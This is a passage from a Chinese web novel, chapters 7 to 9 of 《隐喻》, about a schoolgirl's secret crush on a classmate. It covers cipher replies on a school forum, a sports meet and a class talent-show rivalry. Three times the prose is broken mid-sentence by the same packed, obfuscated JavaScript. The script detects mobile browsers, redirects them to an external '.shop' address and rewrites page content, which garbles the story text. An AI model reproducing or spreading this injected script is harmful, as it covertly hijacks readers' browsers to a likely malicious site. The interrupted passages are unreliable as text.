《隐喻》 7. 第七句 07 姜予回复用的账号是小号,常逛数学竞赛这类和她个人风格不符的帖子。 因为比较活跃,所以每天都会有未读的回复。这天晚自习,姜予在邓兆林查过纪律离开后,没忍住抽出手机点进学校的贴吧。 她那条解密的评论获得不少回复,感叹的,夸她的,姜予打算忽略时,看到一个熟悉的ID。 六点水。 这是江渝的账号。 他回复她:【聪明。xjiiheumain?】 十几分钟前的回复,在网上活跃的同学纷纷“合影”“喊话”,有警觉者猜测:这串字母也是密文吧,怎么我解了半天都没答案。 姜予捏着手机的手指紧了紧,有同学进出教室,开关门的声音惊得她及时把手机塞回桌洞里。 假模假式地学了会儿,偷瞄着确认虚惊一场,姜予才重新抽出手机,在草稿纸上把这一串字母誊抄下来。 是特意回复她的? 姜予捏着笔杆在草稿纸上胡乱写着,挨个尝试自己能想起的加密方式。 是栅栏密码。 栅栏密码是把要加密的明文分成 n个一组,然后把每组的第一个字母连起来,第二个字母连起来,以此类推,形成一句无逻辑的内容。 因此可以将11个字母分为xihuan和jiemi两组。 得到明文:xihuanjiemi。 他问她:“喜欢解密?” 姜予大脑空白,浑身血液在这一刻好似开始倒流,混沌感让她分不清自己在哪、自己是谁。 姜予抠了好半晌的手机壳,直到下课铃声响起,才确定如何回复:【224374428292823251432162312162。】 通过手机九键的数字位数和字母位数加密的一句——“比数学擅长。” 不知道他平时常用九键还是二十六键,能不能看懂这句密文。 “看什么呢,笑得这么开心。”黎戎绘来叫她去厕所。 姜予把手机搁回桌洞里,遮掩过去。 经过八班后门时,姜予朝里面望了眼。江渝在座位上,后面两根凳子腿着地,背抵着墙,不知在写题目还是别的。 李屹清用投篮的姿势把一个易拉罐丢进垃圾桶里,扭头朝他桌面看去,疑惑:“竞赛题这么变态吗?比我身份证号码还要长的一串数字。” 是她回复的那串数字吗? 女厕所一到课间人多得离谱,黎戎绘索性先拽着姜予去超市逛了一圈,快打上课铃时才回来。 一坐回座位,姜予便摸出手机,解锁进贴吧。 江渝八分钟前回复了,用到相同的加密方法:【7442829282324232629363827282。】 他说:“数学很有趣。” 姜予弯了下嘴角,拿不准给他回什么。这时,姜予注意到对方发来一条私信:【我们认识吗?】 姜予心头一紧,彻底慌了神。 她退出软件,锁掉屏幕,收起手机。 一直到最后一节晚自习结束,姜予都没有回复,好似没看到这条消息似的。 宿舍有熄灯时间,下课铃响后,鲜少还有住宿生在教室里逗留,零星几个都是想错开人流回家的走读生。 姜予收拾书包的动作一如既往的磨蹭,竖起耳朵仔细听着走廊上的动静。 李屹清和江渝要等黎戎绘一起回家,很快出现在七班后门外。 “阿姨真这么说?”李屹清的笑声爽朗,一听便是在聊什么有趣的事,“你没跟她说,你幼儿园就会写情书了。不谈恋爱不是搞竞赛学傻了,是没遇到喜欢的人。” 江渝语速不快,听上去颇为无奈:“那她估计会说,不同个性的女生各有各的美,是我缺乏发现美的眼睛。” 李屹清并不意外这个可能,顺势道:“这完蛋了。青春期不谈恋爱是不是心理疾病我不清楚,但眼科医院肯定治不了审美。” 知道他们此刻提医院是在开玩笑,姜予没在意。 但因为偷听得太专注,黎戎绘出教室前扑过来跟她告别时,她被吓了一激灵碰倒了手边的水杯,杯盖没拧紧,好在里面剩的水不多,只洒到桌面上。 两个女生跟打仗似的,手忙脚乱地把桌面清理了。 姜予再去注意外面的动静时,李屹清语气正经地问江渝:“你是周六上午去医院?” 姜予以为他真有哪里不舒服,紧张地屏息。 江渝极淡地应了声。李屹清则说那下午去打球,没有深入医院的话题。 翌日周五,下午上完课便可以回家。对住宿生而言,这一天沉浸在对回家期待中过得很快,但姜予因为不敢面对那条私信觉得无比漫长。 不知道是不是她看手机太频繁的缘故,放学时姜予觉得眼睛有些不舒服。 等周六起床时,姜予眼睛不舒服的症状更严重,伴随着左眼眼白有轻微的充血泛红,似乎是结膜炎。 姜静照今天休息,但人不知去哪儿了,桌上留着她买好的早点。 姜予简单吃几口,在是去小区门口的药店买瓶滴眼药、还是一步到位去医院挂个门诊间纠结,最终选择后者。 医院人流密集,姜予在耳朵上挂了个口罩。 李屹清说江渝也会来医院,不知道能不能遇见。 想到江渝或许不是来这一家医院,但姜予忍不住四下张望。 人头攒动间,真让她看见一道熟悉的身影。 姜静照正跟一个女医生站一起,说话间和姜予对上视线。 分明自己没暴露什么,但姜予莫名有些心虚,以至于没深想姜静照把手里提着的药袋放进包里,又掩饰性地从包里拿出手机的动作。 姜予走近,看见女医生胸前别着的铭牌写“精神科主治医生,卢莫”,忙问道:“妈,你身体不舒服吗?” “有点儿失眠。”姜静照语气随意,仔细看了下她的眼睛,“症状又严重了是吗?看你以后还用拿了颜料的手揉眼睛吗。” 姜予垂下头,没争辩。 卢医生双手插在白大褂口袋里,适时插话:“这就是小予吧,长得随你,是个小美女。” 姜静照适才向姜予介绍:“这是妈妈的朋友,卢莫阿姨。” 没说几句,卢莫接到电话得回诊室。走之前,她跟姜静照说:“明天起我要去国外进修半年,你有需要随时联系我。” 姜静照看上去很熟络:“一路顺利。我尽量不打扰你。” 姜静照带姜予去眼科问诊,拿了滴眼液,不多时便离开医院。 意料之中,姜予没有“偶遇”到江渝。 下午,黎戎绘约她去采购明天运动会要带的零食。 在听到黎戎绘无意间提起江渝他们回学校打球时,姜予没有逃避这个话题,但撒了个小谎:“我上午去医院,好像看到他了。” 黎戎绘狐疑地诶了声,随即想起:“哦。他应该是去看他姥姥。” 这样啊。话题点到为止,黎戎绘没深聊,姜予礼貌地不追问。 姜予原本还想找机会提议回学校看会儿他们打篮球,却不想黎戎绘率先冒出这个想法,不过未等姜予欢喜,黎戎绘自顾打消道:“算了。现在操场上肯定不少为了明天运动会加练的同学,少不了趁机去看阿渝打篮球的女生。咱还是别去被人踩脚了。” 姜予搓了搓衣角,状似不经意问:“会有很多女生跟他告白吗?还是说大家只是凑个热闹。” 黎戎绘不意外姜予对这些事不了解,解释道:“应该不少。我觉得要怪就怪阿渝‘四处留情’,顶着一张很容易让人爱上的脸,今天帮这个解个围,明天帮那个捡个东西,给人一种只要花点儿心思就能追到的印象。他但凡高冷一点,日子就会清净很多。” 作为被江渝解过围的对象之一,姜予认可黎戎绘的评价,但也明白,如果他不是这样的性格,那他们也不可能有交集。 “我觉得他这一点很可贵。”姜予不愿假设他们没有交集的可能性,固执地保护着少年赤诚的真心,“那些追得疯狂的人,把他视为自己魅力的证明或者挑战,她们太爱自己,就算江渝什么也不做,光靠他出色的外形和成绩,也会成为她们的目标;而那些不够爱自己的女生,将一个男生的微小言行当作心动的契机,她们没有勇气告白,喜欢一定是无声的,影响微乎其微;至于那些,受青春期荷尔蒙作用的、别人有喜欢的男生那她也要跟风的……究其根本,对他的喜欢再声势浩大,都无关江渝做了什么,就像昙花一现,开得快,败得也快。” 独照谁,不独照谁,独不照谁,都不是月亮的错。发光是社会责任心的体现,不该是被人买断的私有义务,更不是哗众取宠的心机手段。 后知后觉黎戎绘古怪地盯着自己,姜予收敛较真的神色,补充了句:“我随便说的。” “不。”黎戎绘猜姜予是误会了,忙解释,“我是想说,阿渝跟你说过类似的话,他也认为很多人不理解什么是爱。” 见姜予探究的盯着自己,黎戎绘绞尽脑汁回忆着江渝的原话,“他大意好像是说:‘很多人不理解什么是爱,或清醒的自私,或愚昧的莽撞。而他所认为的,真正意义上的爱,不论声势浩大,还是悄无声息,既可以救人于水火,也让人置身水火。’总之就是文绉绉的,听不懂。” 姜予听懂了。她为这片刻灵魂的契合而心潮澎湃,却也清楚,这并不能改变什么。 江渝的身边,永远不缺和他在各方面都登对的女生。 - 周日,高一高二学生提前返校,召开运动会。 姜予这两天要休息眼睛,所以睡眠时长明显增加,在家吃了早饭才来。 拐出楼梯间,姜予从经过八班前门的那刻,便朝江渝座位的方向投去视线。 这时,一个逗留在门口的女生突然后退,险些撞到姜予。 姜予往旁边让了让,等对方先往前走,自己才抬步。 姜予步子不快,在等一个合适的时机朝教室里看第二眼,却不想那女生率先停在后门处。 对方似乎不是八班的女生,而是来找人。只见她神情轻快,手背在身后,雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16685667|188810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跃地踮了下脚,喊:“江渝!” 姜予原本没太仔细看对方,闻言,眼神变得探究。 眉眼有几分熟悉,但姜予一时想不起在哪里见过,只当这是美女长相的相似之处。 姜予从后门外经过时,江渝恰好出来。他语气熟稔地问来人:“你怎么进来的?” “惊不惊喜?”女生表现亲昵,“你们不是开运动会嘛,我爸带我来玩。” 姜予又一次朝女生看去,适才记起她是谁。邓令初,是邓兆林的女儿,邓兆林办公桌上摆着的全家福里有她。据说,她在实验中学读高三,和江渝同是数学竞赛生。 原来他们这么熟。 拐进七班教室的前门,姜予没立刻回座位,站在门口装作看墙上贴着的课程表。 八班后门处,有学生进出,正说话的江渝和邓令初往旁边让了让,姜予一时听得更清晰了。 只是不曾想,他们的聊天话题绕到她身上。是邓令初好奇地打听:“我爸说有个女生跟你同名,长得很好看,是哪个啊。” 看不到神情,江渝的嗓音显得格外冷淡:“不认识。” “不是吧。连这么有缘分的同学都不认识,你也不是那种一心只读圣贤书的人啊。”邓令初狐疑。 江渝解释:“对不上脸。” 姜予掐了下掌心,垂下视线,不再继续听。 姜予报名了运动会的广播台,和一个文科班的女生轮流负责念加油稿。 运动会开始前,她们接到通知去领学校给志愿者发放的补助包,矿泉水润喉糖巧克力一类补充体力的东西。 姜予不太积极,磨蹭到最后才去领,到地方时,意外看到负责发放的江渝。 同行的女生先在他那里登记名字,轮到姜予时,她正沉浸在前一瞬被彩蛋砸到的喜悦之中,转念想到他口中的“对不上脸”,酸楚涌上心头,不安地咬了咬唇。 姜予脸很小,长相恬静,表情幅度不大时有些呆。江渝看她一眼,没等她自报家门,便在登记表某个姓名后的单元格里划了个勾。 姜予确认,标记对应着她的名字。 原来他没有不认识自己,也没有对不上脸。 姜予无数次告诉自己。 或许他和其他女生的关系并没有多特殊。只是因为她太喜欢他了,便会连他不从自己面前经过都难过。 一如她和他只是以网友的身份聊了几句,没有任何暧昧的字眼,他甚至不知道“弥敦道”的背后是她,她却已经足够愉悦。 她的所有开心与难过,因为他,却不是他造成的。 而是她的喜欢。 “认错了?”江渝开口时,姜予才惊觉自己因为愕然盯着他看的时间有些久。 姜予眨眨眼,小声回:“没。” 江渝不甚在意地笑了下,扭头从旁边纸箱里取要发放的物品。有男生搬了几箱水来,跟江渝搭话:“诶渝哥怎么是你在这,梁毅呢?” “他吃坏肚子,去卫生间了。” 原来他不是一直负责发放啊。 刚一屁股坐下的男生闻言,立刻站起来,说:“那我替他吧,开幕式你不是还要拍招生宣传片吗?不得提前准备一下。” 男生行动力满分,也从纸箱里取了一份补助,朝姜予递来,甚至比江渝动作更快。 姜予只是扫了另一份一眼,生怕江渝会撤回去一般,没有任何犹豫地接过他这份,道谢。 江渝似乎没有听见。 不过没关系,姜予心情并未因此糟糕, 她只记住了自己此刻的幸运。 - 节奏明快激昂的音乐响在操场的角角落落,九点整,开幕式开始。 运动会广播台的帐篷支在操场边,距离开场节目表演区很近。江渝从方队后排走上前,带领大家跳开场舞。 无人机自高处盘旋,摄像画面中他是焦点。 每个敢于展现自己的同学都有自己的风采,但姜予的视线自始至终锁定在江渝身上。 他是人群中精神面貌最出挑的存在,动作标准而专注,没有浮夸的抢眼球,也不见掩饰紧张的羞涩。 姜予站在帐篷外面,解锁手机,点开贴吧内和江渝的私聊框。唯一那条简短消息,她看了无数遍。 忐忑了这么多天,姜予终于在此刻回道:【会认识的。】 各个项目的比赛陆续开始,江渝报名长跑、跳高和射箭三个项目,号码布上是采纳学生想法确定的四位数字。 江渝的是9382。 姜予几乎是立刻便发现,如果用两人聊天时使用过的手机九键加密方式来解,9382是yu。 江渝的渝,也是姜予的予。 为此姜予越发坚信,他们一定会认识的。 只是姜予没料到,这个过程远比她以为的,更早到来。 令人难过的是,那时的她纵使竭尽所有,仍显得苍白无力。 一如后来,她拥有一切盛名,青云万里,珠光宝气,却唯独弄丢了他。自此,万里不过密迩,珠光徒有华丽,一切都没有意义。 8.第八句 08 运动会为期三天,不用上课的日子大家都异常兴奋。除了项目成绩,当属江渝的桃色八卦被引人关注。 如果只是有漂亮女同学到八班找江渝,其实不足以惹人起哄。 可运动会开始后,邓令初形影不离跟在江渝身边,坐在八班的观众席。日头渐高,晒得厉害,邓令初更是把江渝的校服外套撑在头顶遮阳。 一时间,各种猜测不胫而走。 姜予广播中途休息时,回了七班的观众席一趟,恰好撞见邓令初和江渝在内的几个男生站在看台下说话。 李屹清扯着一兜搜刮来的零食饮料分给大家,江渝右手指着操场中央的某个项目比赛区跟施屿说话,左手从袋子里一次性抽瓶水出来,递给邓令初。 邓令初低头看了眼,似乎是怕被人听到,显得自己挑三拣四,身体朝他歪了歪,鼓鼓脸颊,说:“是冰的,你喝吧。” 很寻常的对话,因为自然和娴熟显得亲密。 姜予背对着他们,低头从黎戎绘挂在栏杆上的帆布包里找润喉片。 “让让。”严峥文从看台下来,要去4X400接力赛的检录处登记,从她和另两人之间穿过。 姜予往前挪了几步,让开,偏头时,发觉严峥文和她之间明明有一臂距离。 他这句打断似乎不是对她说的,姜予不由得抬高些视线。 邓令初被打断后朝严峥文瞥了眼,后者未作停留,已然经过。邓令初略带疑惑,随口跟江渝说:“有点眼熟,你班的吗?” 江渝适才朝严峥文离开的方向扫了眼,解释:“数竞班的,一块考过试。” 邓令初不甚在意地哦了声,很快换了话题。 姜予留在观众席跟黎戎绘和杨芷漫玩CCD,她余光看见,江渝走开会儿,回来时,手里换成了瓶常温的水溶C。 他递给邓令初:“常温的只有这个,喝吗?” “小鱼儿,还没拍好,你别冷脸。”杨芷漫的提醒拽回姜予走远的思绪。 姜予抱歉,勉强抿唇,好半天才笑出令杨芷漫满意的笑容。 接力赛很快开始,七八班都有学生参加,这一片观众席此起彼伏的响起呐喊声。 姜予在汹涌人声中,面朝操场,望的却是场边的江渝。 黎戎绘想跟她说话,见她呆愣愣的,不解地循着望过去,只看到了江渝的背影。 后来黎戎绘告诉她,在群体中她的喜欢真的特别明显。其他人的视线都望向统一的方向,只有她不是。 姜予其实有意控制了,但真的很难不去看他。 哪怕他什么也不做,光是站在那,头发被风吹翘了一缕,她看一眼便足够满足。 江渝和邓令初说话时,姜予才收敛视线。不过间隔几秒,她再次望去。 接力赛很快来到第四棒,最关键的冲刺阶段。看台上不少同学都站了起来,江渝的身影被遮挡,姜予下意识往前探身,一秒都不想错过。 所以她自然没忽略,江渝倏然间变化的表情。 没等姜予明确发生什么,他的身影直奔某个方向跑出了她的视野。 周遭呐喊声变成了混杂着惊讶和担忧的吸气声,姜予定了定神,得知跑道上严峥文被李屹清撞倒摔了。 比赛节奏快,三棒之后规则允许变道。李屹清没跟着停下,跑过终点朝本班观众席耍帅呢,才听来送水的同学说严峥文摔伤的事。 他过去询问情况,话没出口,便被一个七班的男生推了下肩膀:“故意的吧你。” 李屹清当即靠了声,莫名其妙。周围不是没有八班的男生,立刻涌上来:“想打架是不是!我还说是你班突然降速,故意别我班选手呢!” 七班原本有望争一争第一,这个小插曲让其折戟。两人的争执上升到两个班的矛盾,陆续有本班的学生凑过去撑场子。 “打就打!怕你们啊!” “来啊!” 下一组比赛即将开始,有学生志愿者过来清场:“不要围在这里,有问题找裁判组。” 严峥文被送去医务室,回来散播消息的同学义愤填膺,矛头直指八班,仿佛石头砸进平静湖面,引得群情激奋。两个班在看台上的氛围变得古怪。 江渝勾着一脸无名火的李屹清回来,拍了拍他的肩膀,不知说着什么。 李屹清脸上哪里有拿下第一名的喜悦:“我确定只是剐了下手臂,还不如篮球场上的碰撞激烈。” 邓令初给他递了瓶水,安抚道:“我看到了,确实不是你的问题。” 新的项目开始,大家的注意力陆续被转移。 傍晚,裁判组针对这件事给出结果——八班接力赛成绩保留。 姜予回教室时,几个男生聚在严峥文附近,不满控诉:“靠,老班怎么向着外人!” 在集体中,情绪很容易被传染。尤其是当己方利益受损,不站队便会认为是不团结。这一观点很快引得其余人附和。 或许只有当事人适合说:“算了,本来就是我没能提速。”只是不知严峥文有意无意,顿了下,声音放低补了句:“也不是一次两次,习惯了。” 姜予站在自己课桌旁边,从桌洞往外拿东西的动作一顿。 运动会第二天,七班葡萄糖供应不足,是舒婞把八班的匀了几袋过来。 两个班看台上不复昨日的剑拔弩张,颇为和谐。 而姜予的结膜炎愈发严重了,可能是室外阳光刺眼和频繁吹风的缘故,滴眼药和热敷的作用显得无关紧要。 早晨黎戎绘见她吓了一大跳,姜予撒谎说只是看着吓人。 眼睛的不适让她上午的广播任务进行得并不顺利,痛得一直在流泪。 有学生来广播台送加油稿,特意交代:“下一个要上场,现在念可以吗?” 搭档广播的女生接走稿子,体贴地让姜予休息一会儿,按开话筒的开关,朗声:“高二八班的江渝同学,你是我们的骄傲。横杆前,你如展翅雄鹰,助跑、起跳、过杆、一气呵成……” 听见稿子是写给江渝的,忙得没有时间概念的姜予适才想起上午有高二组跳高决赛。 姜予借口出去接水,拿起自己和搭档的水杯离开帐篷。 送加油稿的女生时间卡得刚刚好,稿子念完,恰好轮到江渝出场。 助跑、起跳、过杆,他真的是一气呵成。他展现了惊人的弹跳力,背越式破风而行,游鱼似的灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16694449|188810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活矫健。 姜予看得瞪大了眼,在他滞空时心提到嗓子眼,俨然忘记了疼痛。 选手们陆续起跳,姜予见识到各种稀奇古怪的过杆方式:有后空翻过去的,有姿势像猴王出世的,还有个同学跳时杆子被撞掉又弹回杆架上的,令人忍俊不禁。 进入下一高度或者被淘汰,很快场上只剩江渝和一个体育生进入决名次跳。 从现在开始每一次升高度,都只有一次机会,他一定要加油啊。姜予紧张得攥拳。 姜予跟杨芷漫去过几次体育部的活动,依稀记得那个体育生主练田径,跳高不是专长。不过她没有将江渝的成功与否寄希望于别人的失败上,一瞬不瞬地盯着江渝。 他今天穿件黑色带兜帽的卫衣,略宽松,江渝可能也是担心自己的衣服会打到横杆,正在整理帽子。 姜予在想他是不是该把卫衣脱一下,或者掖到衣服里。只见他将兜帽往头上,未免帽子突然掉落,他助跑时,双手插在卫衣口袋里提供向下的拉力。 然后。 他……就这么轻描淡写地跳过去了。 姜予眨了眨眼,还在回味。 “好装啊。”她身后是不知道几班的看台,有男生冷不丁冒出来一句,很是突兀。 姜予闻声偏头,只看到好事者被同班女生按着后背猛捶的场景。女生不甘示弱地维护:“就酸吧你!” 姜予被这个小插曲打岔,微蹙的眉头舒展,再正回视线看向比赛时,发现胜负已经决出,江渝第一。 每个区域都有项目如火如荼的进行,姜予却都没看。 路过七八班的看台时,她听到李屹清跟人嘚瑟:“阿渝能装这一下,得益于早晨我往他衣服上泼的那碗豆腐脑,不然他能换上卫衣参赛吗?” 下午江渝跑3000米时,搭档不在,姜予一个人坚守岗位,走不开去现场加油。 同组的长跑选手中,江渝的稿子最多。 姜予夹带私货,念了一份自己写给他的,简单直白的辞藻,大胆勇敢的赞语,光明正大地为他祝福。 所有人都听到了这份的祝福,却没有知道这是她送上的,包括当事人江渝。 - 闭幕式和颁奖环节在第三天上午。八班第一,七班也拿到第三的名次,虽有遗憾,却没人再执着于接力赛的小插曲。 晚饭后,姜予回到教室,发现不仅自己桌上,班上每个同学都被分到了一瓶饮料。 严峥文挨个给大家分完后,停在讲台旁,给大家道歉:“因为我的关系,接力赛没有拿到成绩,否则这次运动会第一名就是咱们班了。” 拿人手短,同学安慰的话信手拈来:“竞技项目难免有意外嘛。” “是啊。不怪你,你也是受害者。” ………… 姜予盯着自己桌上的蜂蜜柚子茶静默片刻,把它放到严峥文桌上。 除高三生,学校每个月都会组织校园活动。运动会刚一结束,消息灵通的同学便听说,下个月要举办为高考祈福的文艺汇演,各个班级如火如荼地准备节目报名事宜。 本以为随着时间推移,两个班的小摩擦会随之淡化,却不想这只是冲突的先锋号。 9.第九句 09 五月中旬时,文艺汇演的通知正式到来。 班上同学为准备什么节目各抒己见时,姜予看着自己的期中考试成绩条一脸绝望。 数学补了这么久基础,怎么还是这么点分数。也太真实了吧。 文艺作品中不常有暗恋让吊车尾逆袭成第一的情节吗?她愿望很小,不求第一,多少得看到点希望吧。 江渝的成绩条不是秘密,不知被谁拍下发到校园贴吧。搞数学竞赛,并不影响他的成绩名列前茅。 两厢对比,姜予只感受到人与人之间的参差。 视线滑到语文和英语这两栏的成绩,姜予才稍稍平静了些。这两门在年级里排得上名次的成绩足以说明,她不是笨,只是还没找到窍门而已。 “姜予,你口语是怎么练的啊?上课时老师点完严峥文,再点你起来读课文,对比真是太明显了。他书面成绩比你好,但口语发音没有你流利标准。”斜前方的女生转过头,打听。 姜予心说幸好严峥文没在,否则又要摔摔打打表达自己被比下去的不满了,面上友好露笑,说自己平时爱看美剧,可能跟这有关系。 当然,她没说出口的是,此外还看经常NBA比赛以及各种球星的纪录片采访;也因为江渝她看懂了很多写爱情的诗歌,中文的还好,她在读国外诗歌时,为了更为纯粹的共鸣,对照英文原诗逐个单词地查找释义,英语阅读理解和文学素养表达想必是在这个过程中打下基础。 “哪些美剧?我比较爱看浪漫爱情剧,你有推荐的吗?” 姜予随即在便签上写了几部,撕给她。 为了方便她搜索,剧名写的是中文,却不想引发对方又一次彩虹屁:“你字写得真好,是练的什么字帖?” 姜予这下答不出来了。她练字没临摹过名家,而是在临摹江渝的字时,做出些娟秀的调整。 姜予在对方期待的注视下,说了一位语文老师推荐过的书法名家。 - 八班的节目迅速定下,排练提上了日程。为了错开排练教室的使用时间,他们晚饭都没顾上吃。 黎戎绘成为苦力要给江渝和李屹清带饭,姜予、杨芷漫陪她一起去,用杨芷漫的话说就是权当饭后消食。 能围观江渝排练节目,姜予自然也愿意。 八班的节目很新颖,从高中课本中挑出十数位高考必考范围内的诗人,来了个诗词串烧。 江渝扮演的是诗仙李白,据说正式演出时会装扮上古装。 姜予很喜欢李白。她因为江渝爱屋及乌喜欢上了很多东西,但李白是她先喜欢,然后发现江渝也喜欢的。 这种在别人看来毫无意义的事情,对姜予而言像是珍宝。 她们仨到时,江渝正跟舒婞讨论,舞美上可以加一点书法卷轴之类的设计。 “现场写书法效果是不是更好?”舒婞很默契地跟上江渝的思路,你来我往间丰富着这一创意。 和江渝传绯闻的邓令初只在运动会第一天出现,很快便不再被人提及。在校园里和江渝捆绑最稳固的异性,只有舒婞了。 样貌登对,才华同频的两个人,在群体中十分吸睛。 节目关系到评选,班级与班级间是竞争关系,黎戎绘连排练室的门都没进,站着门口把李屹清叫出来自己取晚饭。 姜予视线遥遥地朝江渝看了一眼,便被叫着离开,江渝可能都没注意到有人从门口经过。 回到教室,姜予座位旁边围了不少人。是严峥文和一行人在讨论班里要出的节目。 “峥文这个提议真不错,我相信咱班肯定能入选!” 姜予从后门进教室,对他们聊什么不甚感兴趣,只听有人如此感慨。 杨芷漫等姜予从桌子上拿水杯,一时无聊,熟络地插话:“诶,你们也去看了八班的节目排练吗?诗词串烧是挺有意思的,好几句我不会背的诗,跟着他们的节奏都顺下来了。” 宋云驰茫然:“什么八班的节目,这是严峥文特意为这次汇演编的节目。诶姜予你有兴趣吗?李清照这个人物还没选定扮演者,我们都觉得你挺符合的。” 姜予没回答,几乎是下意识地和杨芷漫对了个眼神,两个班撞节目了? 严峥文看看她们,问:“八班和我们的节目一样?” 两个班撞节目的消息很快得到证实,班长们作为代表交涉时,舒婞以八班排练进度更快,服装都已经订好为由,强势地拒绝让步。 宋云驰了解后,确认对方确实准备得更早,进度更快。 七班节目的核心创意来自于严峥文,宋云驰主要和他沟通。 严峥文同样强势:“我觉得咱班同学的表现不输八班,班长你觉得我们会输吗?” 他说这句话时,目光依次从几个一同商量对策的男生脸上划过,寻求反馈。 有人还在思考,有人已经站队:“运动会被八班使绊子比下去一次,已经够窝囊,咱班这次再让步,别班肯定以为咱们好拿捏。” “对!我也觉得不能让步!评比还没开始呢,咱班不一定输。峥文为了写剧本熬了好几个通宵,都影响了期中考试的发挥,不能白白浪费。” 宋云驰见表态的声音越来越大,没立刻发表自己的观点,只说容他想想。 宋云驰顾虑的态度,反而加剧了其他几人的坚持。 这个节目最终没有被放弃,大家按部就班地进入排练。 而姜予婉拒了宋云驰的邀请,没有加入这个节目。 “都是同学,何必闹得这么难看。”杨芷漫是体育部的,平时没少组织、参与以年级为集体的活动,很看重集体的和谐,她有班级荣誉感,但也懂得尊重其他班级,所以并不想看到如此针锋相对的竞争,“节目撞了,最后只能保留一个。趁时间来得及换个节目,说不准两个班都能被选上,皆大欢喜,多好。” 黎戎绘乐观:“就当是给其他班让路了,好事一件。” 姜予没发表言论,因为她发现自己很难做到公道。 宋云驰和杨芷漫观点相同,也担心这个节目被刷后,七班没有机会上台,几经斡旋下,他建议女生们出一个节目保底。 每个班出一到两个节目,这是评比规则允许内的事情。 作为理科班,七班只有十一个女生。有一个被邀请去扮演李清照,再有几个或因没特长和舞台经验或因要上补习班没时间排练主动放弃,最后竟只剩姜予她们仨。 “要不咱仨组个乐队?”杨芷漫脑子灵,对校园活动比较踊跃。 黎戎绘没急着表态,看向姜予。据姜予的观察,黎戎绘过了那个较真的阶段,已经不拆杨芷漫台了,三个人一起玩得都挺自在的。 她先问姜予的意见,那就代表她愿意参加。于是姜予也点头:“可以……但我只会玩一玩电吉他,很久没碰了,乐器还得找地方借一下。我来唱歌也行。” 杨芷漫一拍大腿:“就这么定了!小鱼儿你主唱加电吉他,黎黎架子鼓,我电子琴。咱仨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16703173|188810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' remix一下《你要跳舞吗》,来一首应景的《你要高考吗》怎么样?” 连乐队名定的都很快,姜予提议叫“The Powerpuff Girls”——“飞天小女警”,另两人爽快赞成。 遇到的最大难题应该就是,乐器从哪里借。 杨芷漫有自己的电子琴,黎戎绘从上课的音乐教室借来了架子鼓,只有姜予要用的电吉他苦求无门。 姜予提议:“要不我只负责唱吧。” 杨芷漫表情遗憾:“可这会少很多舞台效果。” 放学前,黎戎绘给她吃定心丸:“交给我吧,明天一定给你带学校来。” 当晚,为了不耽误明天的排练,姜予翻找出之前的学习笔记,想练习一下指法和技巧。 她的电吉他是高中开始前的暑假学的,在一家即将倒闭的音乐工作室上课,但教她上课的老师很尽职,姜予不从他那里买乐器,对方也并未敷衍,所以姜予的认真收获到理想的效果。 有活页从笔记中掉出来,打了几个旋落到地板上,姜予捡起,看到纸面上用铅笔画的一只只弹电吉他的手,按着琴颈的,拿着拨片拨弦的,很多个角度。 没有很明显的手部特征,不知情的人可能以为这是随手画下的标准指法参照图。只有姜予知道,这双手的主人是谁,她对其熟悉到,连对方手背上的青色血管走势都记忆清晰。 姜予常常为自己的联想能力感叹,自己竟然能发现,他手背的血管恰好能窥见“J”和“Y”的走势。 这样毫无意义的发现,却令姜予天真地认为,她对江渝的了解是比别人深的。 想到什么,姜予很快翻了下笔记,从中抽出另一张活页——定格的是初中毕业音乐会上,江渝站在舞台上弹电吉他的画面。 用钢笔画的,没特意去细画五官,但神韵抓得刚刚好,形体的线条凌厉流畅,一气呵成的笔触干净简洁,让人轻易感受到那场舞台的激昂和张力。 姜予想到,迟迟没有给自己买一把电吉他的原因,是他用的这款太贵了。 那是一把黑色的电吉他,有些冷硬的色彩,但琴体上类似星河配色的流沙设计,又显出它的俏皮和炫酷。 姜予凭记忆在纸上画下了它的样式。 只是,她无论如何都没料到,第二天她又见到了这把吉他。 “阿渝说调过音了,你试试。”黎戎绘把给她借的电吉他带来了。 定制的刺绣背带上还有“JIANGYU”的姓名拼音。 这样一来,说这把电吉他是姜予自己的,都有人信。 “快,小鱼儿先给我们solo一段。黎黎的架子鼓我高一时见过,还没见你玩乐器呢。”排练室里,杨芷漫怂恿道。 姜予头脑空白,拿着它的手都在抖,此刻不真实得像是一场梦。 姜予忽而想到,以前自己也不是没尝试过接近他。 在他即将经过时,她会提前酝酿好久只为打个招呼,却发现对方根本没看到自己;也有为了感谢他帮自己解围,精心准备了自己烤的草莓蛋糕,却发现他生日蛋糕华丽而昂贵,连甜品台上最不起眼的小点心都比她准备的精美。 